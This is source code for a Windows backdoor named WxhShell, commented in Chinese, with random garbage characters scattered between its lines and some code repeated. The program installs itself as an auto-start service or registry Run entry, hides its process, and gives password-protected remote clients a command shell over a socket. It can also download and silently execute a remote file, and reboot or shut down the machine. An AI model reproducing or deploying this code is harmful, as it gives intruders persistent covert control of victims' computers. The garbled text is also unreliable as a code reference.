(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _?"P<3/iF NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lxIoP s9R#rwIc if (!NtQueryInformationProcess) return 0; J!40`8i 9K]Li\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zPzy0lx if(!hProcess) return 0; &\8qN_` _Mi`]VSq9 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]}t6V]`Q J:<mq5[ CloseHandle(hProcess); EDQKb TaPt l`S2bb6uMR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @ev"{dY if(hProcess==NULL) return 0; N`3q54_$ }HB>Zb5 HMODULE hMod; 3q'["SS char procName[255]; *$K_Tii unsigned long cbNeeded; h$p]M^Z7 .dA_} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~m:oJ+:O (}Q(Ux@X CloseHandle(hProcess); >KPxksFR8 g=)B+SY' if(strstr(procName,"services")) return 1; // 以服务启动 T_\Nvzb} ?A4zIJ\ return 0; // 注册表启动 Y fRjr } t1Ty.F)r nHAET // 主模块 eh\_;2P int StartWxhshell(LPSTR lpCmdLine) /V-uo(n< . { {zd07!9y SOCKET wsl; O+iNR9O BOOL val=TRUE; ''t\J^+& int port=0; ,z4)A&F[c; struct sockaddr_in door; _"_
21uB %rE:5) if(wscfg.ws_autoins) Install(); tuT>,BbR k
P]' port=atoi(lpCmdLine); 3jSt&+ I+08tXO if(port<=0) port=wscfg.ws_port; pco:]3BF6 G>siyUh WSADATA data; B* 0TM+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y-yozt #mT\B[4h if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .r ,wc*SF setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &>nB@SQZ door.sin_family = AF_INET; |ry![\ door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z hqGUb door.sin_port = htons(port); @:,B /B; k4N_Pa$}\ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E?v9c>c closesocket(wsl); ,>
Ya%;h2k return 1; zR@4Z>6
} pc/x&VY% \#50;
8VJ if(listen(wsl,2) == INVALID_SOCKET) { ~F [V closesocket(wsl); [TX1\*W return 1; mafnkQU } Z
"mqH Wxhshell(wsl); V^* ];`^ WSACleanup(); YR'dl_ WiU-syNh return 0; e1<9:h+ =EJ8J;y_f } \wjT|z1+Y scc+r // 以NT服务方式启动 1tZ7%0R\g] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X%C`('"R { 7sX#6`t DWORD status = 0; CMhl* dH DWORD specificError = 0xfffffff; *A&A V||q PF+ F^;C serviceStatus.dwServiceType = SERVICE_WIN32; wI5(`_l{G serviceStatus.dwCurrentState = SERVICE_START_PENDING; ahh&h1q7| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3<XP/c"; serviceStatus.dwWin32ExitCode = 0; wZUZ"Y}9 serviceStatus.dwServiceSpecificExitCode = 0; $.Ia;YBf serviceStatus.dwCheckPoint = 0; eoj(zY3 serviceStatus.dwWaitHint = 0; D6I-:{ws m| uVmg!* hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FOyANN' if (hServiceStatusHandle==0) return; wC>}9OM 7v']wA r] status = GetLastError(); Wq2Bo*[* if (status!=NO_ERROR) K' ?`'7 { _^Z
v[P serviceStatus.dwCurrentState = SERVICE_STOPPED;
2S serviceStatus.dwCheckPoint = 0; 7+NBcZuG9 serviceStatus.dwWaitHint = 0; awU!3)B serviceStatus.dwWin32ExitCode = status; (^HU| serviceStatus.dwServiceSpecificExitCode = specificError; ~XeWN^l(Ov SetServiceStatus(hServiceStatusHandle, &serviceStatus); u+;iR/ return; 2tw3 =) } ,Gi%D3lA :
uxJGx serviceStatus.dwCurrentState = SERVICE_RUNNING; sC'PtFK8z serviceStatus.dwCheckPoint = 0; ).32Im!;#R serviceStatus.dwWaitHint = 0; >6KwZr BB if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aCRiW;+' } Mdw"^x$7 ~hxW3e // 处理NT服务事件,比如:启动、停止 og?L 9 VOID WINAPI NTServiceHandler(DWORD fdwControl) xeB-fy)5+ { Z!+n/ D-1 switch(fdwControl) 5_\1f|, { 1rIL[(r4 case SERVICE_CONTROL_STOP: GU0[K#% serviceStatus.dwWin32ExitCode = 0; w-"tA`F4 serviceStatus.dwCurrentState = SERVICE_STOPPED; Q<Q?#v7NX serviceStatus.dwCheckPoint = 0; 0 wjL=]X1e serviceStatus.dwWaitHint = 0; eemC;JV % { mIe 5{.m# SetServiceStatus(hServiceStatusHandle, &serviceStatus); dDbH+kqO } .~a.mT return; < ZG!w^ case SERVICE_CONTROL_PAUSE: \ nUJ)w serviceStatus.dwCurrentState = SERVICE_PAUSED; >:bXw#w] break; TV Zf@U case SERVICE_CONTROL_CONTINUE: ?!.L#]23f serviceStatus.dwCurrentState = SERVICE_RUNNING; % !>@m6JK break; s7(1|}jh case SERVICE_CONTROL_INTERROGATE: v=_Ds<6n break; en"\2+{Cg }; cK- jN9U SetServiceStatus(hServiceStatusHandle, &serviceStatus); `.g'bZ<v/ } V
7oE\cxr jA? 7>"| // 标准应用程序主函数 vX?C9Fr 2 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d"=)=hm! { )GfL?'Z nGM;|6x"8| // 获取操作系统版本 `i
vE:3k OsIsNt=GetOsVer(); 1j]vJ4R_\ GetModuleFileName(NULL,ExeFile,MAX_PATH); rMoz+{1A uovSe4q5q // 从命令行安装 *m8{yh if(strpbrk(lpCmdLine,"iI")) Install(); $WiUoS ^KJi|'B // 下载执行文件 -C2[ZP- if(wscfg.ws_downexe) { +V9 (4la if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4nXemU= WinExec(wscfg.ws_filenam,SW_HIDE); L0R$T=~%) } %KPQ|^WE F@KtRUxE if(!OsIsNt) { #h#_xh' // 如果时win9x,隐藏进程并且设置为注册表启动 bt"5.nm HideProc(); !ir%Pz^) StartWxhshell(lpCmdLine); \bies1TBB^ } 9+b){W else tmQ,> if(StartFromService()) 6st^-L // 以服务方式启动 !y862oKD StartServiceCtrlDispatcher(DispatchTable); t9.| i H else (+nnX7V?I // 普通方式启动 w5vzj%6i StartWxhshell(lpCmdLine); DH"_.j q>6RO2, return 0; GF36G?iEi } 5,BvT>zFY y[/:?O}g4 <OrQbrWQa h%5keiA =========================================== 5S ) N&% XaaR>HljJ @ %o' g77 :92 .dn#TtQv [M#(su0fv " NOFH Q]]M;( #include <stdio.h> ]l"9B'XR #include <string.h> wjTW{Bg~G #include <windows.h> ^[6#Kw&E #include <winsock2.h> (ylZ[M&B: #include <winsvc.h> iM$iZ;Tp #include <urlmon.h> +fHqGZ] vcZ"4%w #pragma comment (lib, "Ws2_32.lib") Y=/;7T #pragma comment (lib, "urlmon.lib") 4m%Yck{R s6D Pb_, #define MAX_USER 100 // 最大客户端连接数 xiVbVr#[ #define BUF_SOCK 200 // sock buffer #+
{%>f #define KEY_BUFF 255 // 输入 buffer d>0 j!+s HP=5a. #define REBOOT 0 // 重启 z`YAOhD*h4 #define SHUTDOWN 1 // 关机 _`Dz%(c aqgm #define DEF_PORT 5000 // 监听端口 2gW+&5;4 EiS2-Uh*TT #define REG_LEN 16 // 注册表键长度 z3M6<.K #define SVC_LEN 80 // NT服务名长度 aNgJm~K0P L?(m5u~b // 从dll定义API q8&^E.K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E?jb? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8\bZ?n#dn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N.vkM`Z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^Yo2 R Pa{bkr // wxhshell配置信息 u&'&E
struct WSCFG { =j@8/ int ws_port; // 监听端口 a
fB?js6 char ws_passstr[REG_LEN]; // 口令 {DX1/49 int ws_autoins; // 安装标记, 1=yes 0=no
Q)
iN_ | char ws_regname[REG_LEN]; // 注册表键名 0L\vi char ws_svcname[REG_LEN]; // 服务名 h:
zi8;( char ws_svcdisp[SVC_LEN]; // 服务显示名 P9]95.j char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^mZTki4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !H4uc int ws_downexe; // 下载执行标记, 1=yes 0=no S/6I9zOP char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XRn+6fn| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _mDvRFq R/&C}6Gn }; }S9uh-j6l zU#
OjvNk // default Wxhshell configuration KvEZbf3f struct WSCFG wscfg={DEF_PORT, Ifj%" RI "xuhuanlingzhe", !<^`Sx/+ 1, ^ |>)H "Wxhshell", wtQ (R4 "Wxhshell", TZ:dY x "WxhShell Service", EU()Nnm2 "Wrsky Windows CmdShell Service", d-"[-+)- "Please Input Your Password: ", u
&{|f 1, %/wfY Rp* "http://www.wrsky.com/wxhshell.exe", 9z(h8H "Wxhshell.exe" m
A|" }; cKAZWON8;v j*jq2u // 消息定义模块 u_S>`I char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "HbrYYRb'
char *msg_ws_prompt="\n\r? for help\n\r#>"; s`,. & char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fQ,(,^!; char *msg_ws_ext="\n\rExit."; 9'!I6;M char *msg_ws_end="\n\rQuit."; pl.=u0 * char *msg_ws_boot="\n\rReboot..."; <~Tfi*^+ char *msg_ws_poff="\n\rShutdown..."; 7@i2Mz/eV char *msg_ws_down="\n\rSave to "; MM Nz2DEy[ JmVha!<qk char *msg_ws_err="\n\rErr!"; ;%PdSG=U char *msg_ws_ok="\n\rOK!"; ]I0(_e|z} \8SHX char ExeFile[MAX_PATH]; 4?e7s.9N int nUser = 0; d?(eL(W HANDLE handles[MAX_USER]; H @8 ;6D int OsIsNt; 'p(I!]"uo I\ y>I?X SERVICE_STATUS serviceStatus; #|{^k u SERVICE_STATUS_HANDLE hServiceStatusHandle; Y&DC5T] !& xc.39 // 函数声明 E%>){Y) int Install(void); _:l<4u! int Uninstall(void); HltURTbI int DownloadFile(char *sURL, SOCKET wsh); q,eXH8 x int Boot(int flag); (?zZvW8 void HideProc(void); lb`2a3W/ int GetOsVer(void);
QX393v! int Wxhshell(SOCKET wsl); |h%fi-a: void TalkWithClient(void *cs); ZBfB4<M9xS int CmdShell(SOCKET sock); zXg/.z] int StartFromService(void); zgHF-KEV int StartWxhshell(LPSTR lpCmdLine); <S
M%M? qxglA*/
[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H>5@/0cL2 VOID WINAPI NTServiceHandler( DWORD fdwControl ); rDWqJ<8 W=
\gPCo // 数据结构和表定义 y'pX/5R0 SERVICE_TABLE_ENTRY DispatchTable[] = (6\
H~ { |/AY!Y3 {wscfg.ws_svcname, NTServiceMain}, p uLQ_MNV {NULL, NULL} as| MB
( }; eEkbD"Q ;u: }rA) // 自我安装 SwPc<Z?P int Install(void) j!<RY>u { ]Q\/si& char svExeFile[MAX_PATH]; IK^jzx HKEY key; O}_Z"y strcpy(svExeFile,ExeFile); >|So`C3:e nLjo3yvV.. // 如果是win9x系统,修改注册表设为自启动 h|Uy!?l
if(!OsIsNt) { K-*q3oh
G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u.sn"G-c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6~v|pA jY RegCloseKey(key); /h'b,iYVV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Dx]!FFz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U0W- X9>y RegCloseKey(key); nANoy6z: return 0; gRdg3qvU } h47l;`kD-# } /0H39]y!~ } ROHr%'owgL else { -!]dU`:(X :S5B3S@| // 如果是NT以上系统,安装为系统服务 D;al(q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _*Z2</5 if (schSCManager!=0) jVpk) ;vC { !]k $a SC_HANDLE schService = CreateService 3 _tO ( i3} ^j?jA2 schSCManager, ]gQ4qu5 wscfg.ws_svcname, ,fwN_+5 wscfg.ws_svcdisp, =1"8ua SERVICE_ALL_ACCESS, O{9h'JU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (_ElM> SERVICE_AUTO_START, ]OOL4=b SERVICE_ERROR_NORMAL, 0oi
=}lV svExeFile, G&Sp } NULL, >2l;KVm% NULL, T+[N-"N NULL, ]='E&=nc NULL, {<- BU[H NULL -3<5,Q{G+ ); =/rIXReY if (schService!=0) Y?z@)cL { +cVnF&@$ CloseServiceHandle(schService); 8vcV-+x CloseServiceHandle(schSCManager); {>cO&eiCt strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `MtPua\_ strcat(svExeFile,wscfg.ws_svcname); O`hOVHDQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rE
bC_< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @M-+-6+ RegCloseKey(key); 4yH=dl4=44 return 0; |mfQmFF } "3v[\M3 }
WoiK _Ud CloseServiceHandle(schSCManager); y3K9rf } "oYyeT
,? } [a*m9F\ , cFoDR return 1; XY8s \DK } 5u\si4 BL{ 5"5D( // 自我卸载 ( {H5k'' int Uninstall(void) B;?"R { (Ia} ]q HKEY key; ,"u-V<>6O <;.Zms${@ if(!OsIsNt) { N}>XBZy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )BY\c7SG RegDeleteValue(key,wscfg.ws_regname); J..>ApX RegCloseKey(key); Fr)G
h> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +QIM~tt) RegDeleteValue(key,wscfg.ws_regname); por[p\ M. RegCloseKey(key); s45Y8!c return 0; Yo
c N@s } (@dh"=Lt\ } Qc z7IA } _{o=I?+] else { N(@'L43$V S"UFT-N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yk9|H)-z if (schSCManager!=0) /)xG%J7H { [BHf> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Mrp'wF
D if (schService!=0) qDO4&NO { elZ?>5P$} if(DeleteService(schService)!=0) { KD^>Vv# CloseServiceHandle(schService); ]+W+8)f1M CloseServiceHandle(schSCManager); AyKaazm]9 return 0; "2X=i`rTi } n< [np;\ CloseServiceHandle(schService); 3C8'0DB } d^IOB|6Q CloseServiceHandle(schSCManager); :Q sGwhB } dfe 9)m> } hq/\'Z&!+P Ay!=Yk^~ return 1; d+%1q } Uq&ne1 @YP\!#"8 // 从指定url下载文件 uYS?# g int DownloadFile(char *sURL, SOCKET wsh) \@Gyl_6^ { pc5-'; n HRESULT hr; SHPaSq'&N char seps[]= "/"; Rs:<'A char *token; ~!'%m(g char *file; #H(|+WEu char myURL[MAX_PATH]; )]!Ps` ,u char myFILE[MAX_PATH]; 7ju7QyR Gu<3*@Ng strcpy(myURL,sURL); C8y 3T/G token=strtok(myURL,seps); [zK|OMxoV while(token!=NULL) %lV&QQa { O: sjf?z file=token; KGkzE token=strtok(NULL,seps); LGPy>,! } t(CdoE,6 6z"fBF GetCurrentDirectory(MAX_PATH,myFILE); S)z
jfJR strcat(myFILE, "\\"); =A<kDxqH strcat(myFILE, file); &TSt/b/+W send(wsh,myFILE,strlen(myFILE),0); -[v:1\Vv send(wsh,"...",3,0); R5G~A{w0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y*3qH] if(hr==S_OK) bmc1S return 0; ;'dw`)~jQ else X(1nAeQ return 1; s'ntf T.!GEUQ } FqQm*k_ SZ~Ti|^ // 系统电源模块 LDW":k| int Boot(int flag) A7
.[OC { ()K%Rn HANDLE hToken; =lS~2C TOKEN_PRIVILEGES tkp; 0[xum FJv=5L if(OsIsNt) { &7T0nB/) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $.cNY+ k LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [Ym?"YwVX tkp.PrivilegeCount = 1; 42:\1B#[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?
8S0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x';6 if(flag==REBOOT) { <[?oP[ j if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9C$b^wHd return 0; 8=T;R&U^M } pQ*9)C else { U#+S9jWe if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WhSQ>h!@s return 0; 0X`Qt[ } ss% ahs } CY0|.x else { $B*E k>EK if(flag==REBOOT) { RqXcL,,9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vd SV6p.d return 0; 4<70mUnt } 5P
-IZ8~$ else { U{RW=sYB~9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S,lJ&Rsu return 0; 85m[^WGyh } v@LK3S/!3 } >yg mE`g 9cWl/7;zXO return 1; `z-4OJ8~ } ]/HSlT= g[44YrRD // win9x进程隐藏模块 kG
&.| void HideProc(void) 4s^5t6 { -wC;pA#o z6B/H2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }/[tB if ( hKernel != NULL ) ={W;8BUV%^ { "dXRUg" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4!d&Zc>C4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q{UR3U'Q FreeLibrary(hKernel); iT%aAVs } Va\dMv-b hkJ4,. return; 3@J0-w } V
z8o k)b}"' I // 获取操作系统版本 c#$B;? int GetOsVer(void) 05LVfgJ'q { Cv>|>Ob# OSVERSIONINFO winfo; %8>s :YG winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4g b2$" ! GetVersionEx(&winfo); &kHp}\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J i :2P* return 1; BP,"vq $'+ else [95(%&k.Q return 0; PSI5$Vna4p } wRgmw
4 -f#0$Z/0 // 客户端句柄模块 \s<{V7tq int Wxhshell(SOCKET wsl) 2w'Q9&1~ { 0_}OKn)J SOCKET wsh; (\, <RC\ struct sockaddr_in client; BZ">N DWORD myID; @R_a'v- 4v33{sp while(nUser<MAX_USER) wxkCmrV { 1LZ?!Lw int nSize=sizeof(client); (#BkL:dg wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e Pq(:ih if(wsh==INVALID_SOCKET) return 1; a57Y9.H`o :`2<SF^0O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A)kx,,[ if(handles[nUser]==0) ]U!vZY@\ closesocket(wsh); f'0n^mSP else aA-A>z nUser++; sHyhR: } ^rfY9qMJr8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [!]a'
T#x L$cNxz0$ return 0; \6-x~%xK } }tF/ca:XPQ Ds9pXgU(Z // 关闭 socket od{Y`
.< void CloseIt(SOCKET wsh) ^o_2=91 { =dHM)OXD" closesocket(wsh); YFv/t=` nUser--; FAfk;<#'n+ ExitThread(0); x9Y1v1!5Pu } UQ:H3 ;o8C(5xE| // 客户端请求句柄 ,=O`'l>K void TalkWithClient(void *cs) dFS>uIT7X { +(x^5~QX O%H_._#N` SOCKET wsh=(SOCKET)cs; cTCo~Pk4 char pwd[SVC_LEN]; MIo<sJuv char cmd[KEY_BUFF]; k*(c8/<.d char chr[1]; upg? int i,j; U":hJ*F) vp?87h while (nUser < MAX_USER) { t
9&xk?%{ ((Ak/ qz if(wscfg.ws_passstr) { "^F#oo%L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NeAkJG=< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); svCD&~|K# //ZeroMemory(pwd,KEY_BUFF); 9h>nP8 i=0; XAW$"^p while(i<SVC_LEN) { %'a%ynFs 1uZ[Ewl] // 设置超时 (MY#;v\AYE fd_set FdRead; n1m[7s.[& struct timeval TimeOut; mEfI2P)#| FD_ZERO(&FdRead); ;,[6 n|M FD_SET(wsh,&FdRead); z6ISJb TimeOut.tv_sec=8; DZ92;m TimeOut.tv_usec=0; k"&loh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'DO^ ($N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _ui03veA1 A-^[4&rb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q1jU{ pwd=chr[0]; Ig}G"GR if(chr[0]==0xd || chr[0]==0xa) { lT#&\JQ
pwd=0; k"\%x=# break; 6!dbJ5x1 } k!3X4;F!_ i++; |t+M/C0y/ } g6{.C7m 9] fhH // 如果是非法用户,关闭 socket M(|Qvh{Q6 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v".q578
0B } fft FNHP JQ=i{ 9iJ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T]-yTsto send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qYR
$5 N-`Vb0;N while(1) { "RMBV}<T ~qt)r_jW ZeroMemory(cmd,KEY_BUFF); 3:@2gp!tq Jz7a|pgep // 自动支持客户端 telnet标准 hr_ 5D j=0; `bT!_ Ru while(j<KEY_BUFF) { W t4ROj
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gdmh#pv cmd[j]=chr[0]; T6m#sVq if(chr[0]==0xa || chr[0]==0xd) { ,@kD9n5# cmd[j]=0; 1^XuH(' break; 'N^\9X0 } d~F`q7F'?] j++; ^`~M f } _;(`u!@/{ rqW[B/a{ // 下载文件 Ls{z5*<FM if(strstr(cmd,"http://")) { b&[9m\AX` send(wsh,msg_ws_down,strlen(msg_ws_down),0); aSdh5? if(DownloadFile(cmd,wsh)) HeABU(o4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7ksh%eV else IhnHNY]<g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LOQoi8j } cpvN
}G else { B?Ac KwK[)Cvv switch(cmd[0]) { x{{QS$6v !$Aijd s5 // 帮助 #=F"PhiX` case '?': { uT'_}cw send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rE0?R(_ break; pm$2*!1F( } K*iy ^} // 安装 ,<?iL~> % case 'i': { io:g]g if(Install()) :*bv(~FW send(wsh,msg_ws_err,strlen(msg_ws_err),0); !wiW#PR else 06DT2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }
8ZCWmd break; 5v"r>q[
X } @_"B0$,-i // 卸载 1=BDqSZ@9 case 'r': { Td#D\d\R if(Uninstall()) }s)MDq9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); )"k>}&' else lyGQ6zlSn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UjibQl3:m break; &:}e`u@5| } L9tjHC] // 显示 wxhshell 所在路径 }OY]mAv-B case 'p': { kwxb~~S}h( char svExeFile[MAX_PATH]; dxqVZksg(9 strcpy(svExeFile,"\n\r"); @X`~r8& strcat(svExeFile,ExeFile); b3(pRg[Fp send(wsh,svExeFile,strlen(svExeFile),0); BiGB<Jr break; p@epl|IZp } VBc[(8o // 重启 eduaG,+k7p case 'b': { \#4??@+Xf send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z_%G{H+:l if(Boot(REBOOT)) 6k6M&a send(wsh,msg_ws_err,strlen(msg_ws_err),0); / hUuQDJ else { 5G .Fi21
b closesocket(wsh); ' JHCf ExitThread(0); 5
o:VixZf } u@|izRk break; ]zp5 6U|xa } G| 7\[!R // 关机 xml@]N*D#E case 'd': { 49f- u send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \s<7!NAE4 if(Boot(SHUTDOWN)) :}d`$2Dz send(wsh,msg_ws_err,strlen(msg_ws_err),0); J ytY6HF else { .qVz rS closesocket(wsh); IOA"O9; ExitThread(0); p.KX[I } 9hAS#|vK break; i`o}*`// } ?DcR D)X // 获取shell xe^*\6Y case 's': { U3r[ysf CmdShell(wsh); ( Lj{V}^ closesocket(wsh); \)'nxFKqV ExitThread(0); `|K,E break; Z09FW>"u } K/RQ-xd4 // 退出 H5t 9Mg| case 'x': { J6x\_]1:* send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 216+ tX5Z CloseIt(wsh); 8r[ZGUV break; 4 -)'a} O } T1zft#1~ // 离开 N;,?k.vU case 'q': { Z=%+U _, send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?f v?6r closesocket(wsh); qGMM3a)Q WSACleanup(); ';`fMcN exit(1); kN uDoo]z break; z9:@~3k. } G yZYP\'S+ } x_1JQDE } }*Qd]\fy 51yIW* // 提示信息 "sLdkd}dj if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <4jQbY; } y7SOz'd } a2W}Wb+ h"VQFqQy return; Tk s;,C } cT{iMgdI? AoHA+>&U // shell模块句柄 .4={K)kz|F int CmdShell(SOCKET sock) *D`qcv { 'G6TSl STARTUPINFO si; Hv%(9)-8 ZeroMemory(&si,sizeof(si)); `NA[zH,w3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cpaeo0Oq si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <'A>7M~h?* PROCESS_INFORMATION ProcessInfo; C%d 4ItB > char cmdline[]="cmd"; 7}bjJR " CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !-
f>*|@ return 0; lJ]r%YlF } !f_GR Pj' 5@c,iU-L // 自身启动模式 zi:F/TlUC int StartFromService(void) bb;fV { !8&,GT typedef struct a?' 3 { E%eao$ DWORD ExitStatus; 3ojK2F(1D DWORD PebBaseAddress;
.fcU&t DWORD AffinityMask; |Y3!Lix DWORD BasePriority; hZnT`!iFE^ ULONG UniqueProcessId; -Nmf}`_ ULONG InheritedFromUniqueProcessId; =fMSmn1S } PROCESS_BASIC_INFORMATION; O{8"f\* b3b 4'l PROCNTQSIP NtQueryInformationProcess; hTI8hh 47I:o9E static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sBuJK' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LLmgk" .jMm-vox} HANDLE hProcess; 475yX-A PROCESS_BASIC_INFORMATION pbi; Qo "M6a_rZ2W HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FW7+!A&F if(NULL == hInst ) return 0; Ff>Y<7CQ
v pH#&B_S6z= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b
qB[vPsI g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :b>Z|7g ? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K-wjQ|*1 1=#r$H if (!NtQueryInformationProcess) return 0; $oE 4q6b ~l!(I-'?g hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o^RdVSkU; if(!hProcess) return 0; <mHptgd, nzy =0Ox[ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LoHWkNZ5: uuj"Er31 CloseHandle(hProcess); Ary$,3X2 nR/; uTTz hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,r5<v_ if(hProcess==NULL) return 0; r0G#BPgdR 0 w\X HMODULE hMod; DjOFfD\MF char procName[255]; B0=:A unsigned long cbNeeded; mDE{s",q/ pALB[;9g if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )xQxc. 0vG}c5;F 